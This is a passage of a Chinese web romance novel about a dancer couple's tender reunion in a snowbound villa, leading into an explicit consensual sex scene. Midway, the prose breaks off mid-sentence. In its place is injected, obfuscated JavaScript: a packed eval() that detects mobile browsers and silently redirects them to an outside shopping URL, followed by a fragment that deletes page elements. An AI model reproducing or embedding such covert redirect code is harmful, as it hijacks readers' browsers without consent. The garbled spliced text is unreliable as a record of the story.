柏璟裔闻声一僵,旁边女孩还在继续说着,但他已经不想听了。
这时候柏璟裔的手机响了,舒温识趣地闭了嘴没说话。
看着他盯着手机屏幕良久才接通,听着他几句简短的话语就挂了电话。
他起身整理好衣服褶皱后就要走,他要走的动作这时被迫停下,轻微低头一看,他的衣袖被她轻扯住,只听见她说:“柏,我很喜欢你,可以留个联系方式吗?”
舒温看见他就来了很多灵感,最近灵感匮乏,她不能错过这个人。
被扯住衣袖的柏璟裔把衣袖从她手中漠然扯回,看着她淡漠道:“喜欢我的人很多,我难道都要给联系方式吗?”手上一空的舒温讪讪笑着,“那可以交个朋友嘛。”
柏璟裔没有理她,只留下一句:“舒温小姐,别再跟着我了,我最近脾气不太好。”他不对人轻易发脾气,但如果这人这么死缠烂打,他也不会有任何绅士风度。
舒温就这样眼睁睁地看着灵感跑掉,徒留空气中柏璟裔身上留下的淡淡香水味,朦胧又吸引着人,叫她心里发痒。
她在心底还叹了叹气。
这人怎么这么难搞,她美貌又有才华,性格也好,以前在国外的时候也不乏很多追求者,怎么到了柏璟裔这里就什么都不对味了。在原地踌躇了一会儿,她不服输的劲儿冒了起来。
双眼散发着势在必得的精光,她舒温有的是时间,她有预感,他们还会再见面的。
离开时,眼睛余光还瞥见了座椅上柏璟裔忘了带走的香烟,眯了眯眼,顺手拿上就放进了自己的兜里。
来日方长嘛,不急不急,她迟早得让这人给她当一回模特。
沪城这一场来势汹汹的大雪飘零淹没了整座城市,到处都是一片白皑皑的新衣,意味着整座城市迎来新生,所有不好的事情都将被洁净雪白的大雪洗去,也有一种说法,幸福会悄然来到你的身边,为你盼来新的好运。
山中原本的绿色杉树此刻被覆盖上了层层积雪,枝丫树干上雪花簌簌地落了下来,形成了大自然独特的美。
别墅里的两人此刻相互依偎着看着落地窗外的雪景,屋内壁炉散发着星星火光,异常温暖。
常莫森穿着慵懒的家居服从背后抱着杨心沅,下巴就靠在她的肩窝处,鼻尖轻蹭,时不时还偷偷亲几下,让杨心沅颈侧泛着一丝痒意。
原本雪白脖颈上的红色吻痕经过一段时间变化,已然变成暗紫色。她忍不住地稍微往他胸膛上后靠了一点,耸了耸肩以此躲避他。
她已经知道前几天网上的事情已经被解决了,刚才常莫森跟她说了。
那么接下来就要开始准备新的一场录制了,就像上次他跟她说的以“爱情”为主来编排新舞蹈。
她突然问身后还靠在她肩膀上的吃饱喝足了的慵懒小猫:“学长,你说节目组多久让我们复工啊?”
小猫突然贴了上来,伸出猫爪子边挠她手指边慢慢地说:“按照节目组那边的一贯套路,应该需要差不多三四天吧。”
说完他又像软体动物一样紧贴着她的身体。
这几天的惊心动魄,节目组那边也是要做好收尾工作的,发声明再加一波宣传,柏璟裔那边也作出了澄清声明,索性就大方透露了他跟杨心沅的发小关系,两人是很好的儿时玩伴。
就看媒体买不买单,这几天刚好也可以再观望一下舆论导向,这样有足够的时间来控制。
所以常莫森猜测需要三到四天。
她听着他后面的一顿分析,点了点头。杨心沅有点怕痒一直在躲他的贴近,常莫森只能把整个臂膀将她紧紧圈在他炙热胸膛里,让她只能待在他这一方天地。
他睁开惺忪双眸,眼神余光看了一眼她的脖子,那上面都是他的杰作,让他感到很满意。
嘴角上扬着,心情大好。
刚好这几天也给杨心沅留了一些恢复时间,不然顶着这样子去录节目,那真是又一波惊心动魄了。
只是可惜了,虽然他很想在她身上种满他的痕迹,但没办法,那么就只有种在别人看不到的地方了。
这样想着,常莫森心满意足的又瘫软般的从她背后脱离,将她的身体转了一下,她惊愕低头一看,他直接温顺地枕在了她的双腿上,脸靠着她的小肚子,笔挺的鼻尖在摩挲着她的睡衣。
跟他是情侣款的。
窗外雪景依然很美,常莫森在她怀里安逸躺着,嘴里发出气音在叫她:“心沅。”
杨心沅恬静垂眸,修长手指细密地抚摸着他后脑勺的短发渣。
她应声答道:“嗯?怎么啦?”常莫森的头发很柔软,正如他此刻模样,高大男人躺在她腿上,整个世界的时间仿佛为他们两人停滞了下来,享受这难得的甜蜜温存。
他的声音掺杂懒懒的尾音,嗡嗡着:“你觉不觉得现在的我们很像是新婚夫妻?”从她怀里睁开眼睛,调整了姿势平躺着,从下至上对视着她的漂亮狐狸眼。
他看着她仔细回想起来这些年来,他好像唯一的闲散时刻也就是这几天跟她待在一起的时候了。
杨心沅眼珠子乱转被他看见,他眼尾勾勒出一抹笑,“我算是发现了。”
“发现什么?”她这几天总是被常莫森突然说出的话语给怔住,叫她一时答不上来,像现在就有一点坐立不安。
常莫森看着她眼中自己的倒影,女孩眼下底色散发着光亮,他笑了笑,片刻后他突然说:“你要吻我吗?”
杨心沅心里猝然一跳,不知他的脑回路怎么又转到这儿了。
但还是失神点了点头,跟常莫森每一次的接吻都很美好。
跟他的吻总是让人留恋不已。
她半垂下脊背,后脊骨弯曲形成了漂亮的弧度,杨心沅双眼颤颤巍巍地慢慢靠近他,她能闻到他身上扑面而来的香味,叫人心痒又忐忑。
常莫森就这样眼神含笑地看着她,随着她逼近他唇瓣时杨心沅的双眼就已然闭上。
她像是偷吃了糖果的孩子,只是轻轻地又迅速地触碰了一下他的嘴唇,发出了清脆般“啵”的一声,声音还蛮响,而后就很快退开来。
女孩双颊绯红一片,心跳动不已。
尽管两人已经做了很多次
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098741|189962||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的亲密事,她还是会下意识地脸红。
之前杨心沅跟他还没成为男女朋友之前,她挺胆大的,主动吻他,还主动说的坦然为他治病,反而现在她倒是不像之前那样胆子大了。
他得好好教教她怎样行使作为他女朋友的权利:“刚才那样不对,重来。”
“是吻我,不是亲我。”
“不行,你要把嘴张开。”
就这样经历了很多个不行之后,两人总算接了一个算得上真正意义上的吻,看着杨心沅双眼水光阵阵,唇瓣浅浅地张开随着她的胸口急促的喘着粗气他就想笑。
他眯了眯眼舔舐掉自己嘴唇上的水光。
嗯,很甜。
杨心沅真快被他折磨疯了,瞪了他一眼。待她还没缓过气来,枕在她腿上的男人好端端的就突然有了动作,他立马起身覆了上来,扣着杨心沅的后颈,强悍般地吞没她唇齿间呼之欲出的声音。
她听见他说。
“心沅,现在换我要吻你了。”
“!”
顿时男人滚烫的气息瞬间席卷了她的唇舌,每一寸地方都被他强势占领,他的舌带着霸道、迷恋、缱绻。
杨心沅像是被浸泡在一池温水里,被他亲得迷迷糊糊的,客厅热气腾腾着。
“宝宝,我想做。”男人在给她留有余地换气期间说了一句。
两人身上衣物被尽数褪去。痕迹斑驳,谁也不比谁少。
他身上的温度让她止不住地想要靠近、再靠近。
多年前在校园的初见,他那时身穿一袭白衣,干净澄澈,被他那一双眼睥睨过来时,她心跳就失去跳动慢了好几拍。
那时只觉眼前台上的人近在眼前,却又像永远触不到他的世界里一样。
而现在,她跟他肌肤相贴,温存中却又带着痴缠一样与他做着这天底下最亲密的事情,让她一度想要落泪。
恍惚间杨心沅听见有包装纸被撕拉开的声音,她盈满水光的双眸偏头一看,常莫森正带着一股侵略眼神深深地望着她,她能感受到他指腹之间常年累积下来的厚茧,排舞时托举过她的手掌正游走在她脚踝上。
最后脚踝被宽厚手掌紧紧攥住。
他另一只手拿着小小的四方透亮包装纸在嘴上撕扯着,眼冒猩红。
常莫森看着她躺在那里,被这副模样吸引得太阳穴跳了跳,咬着牙哑然道:“心沅,你别用这种眼神看着我。”她难道不知道她那眼神能把一个男人给逼疯吗,何况他现在是一个理智本就不多的正常男人。
这样子太容易激起男人潜在的恶劣因子。
他知道自己的需求量。
而这时杨心沅却主动上前,指尖贴着他劲瘦的腰侧攀到宽阔肩膀处,借着使力涌了上来,女孩馨香的气息传来,唇瓣在他耳边呼出热气,带着魅惑。
“学长,可以不戴吗,我想、好好地感受你。”
那根理智的弦终于被她彻底扯断,让人疯狂。
他猛然凑上去堵住了她那张勾人的红唇。
他要让她好好感受他,接下来注定是荒唐的绵绵春意。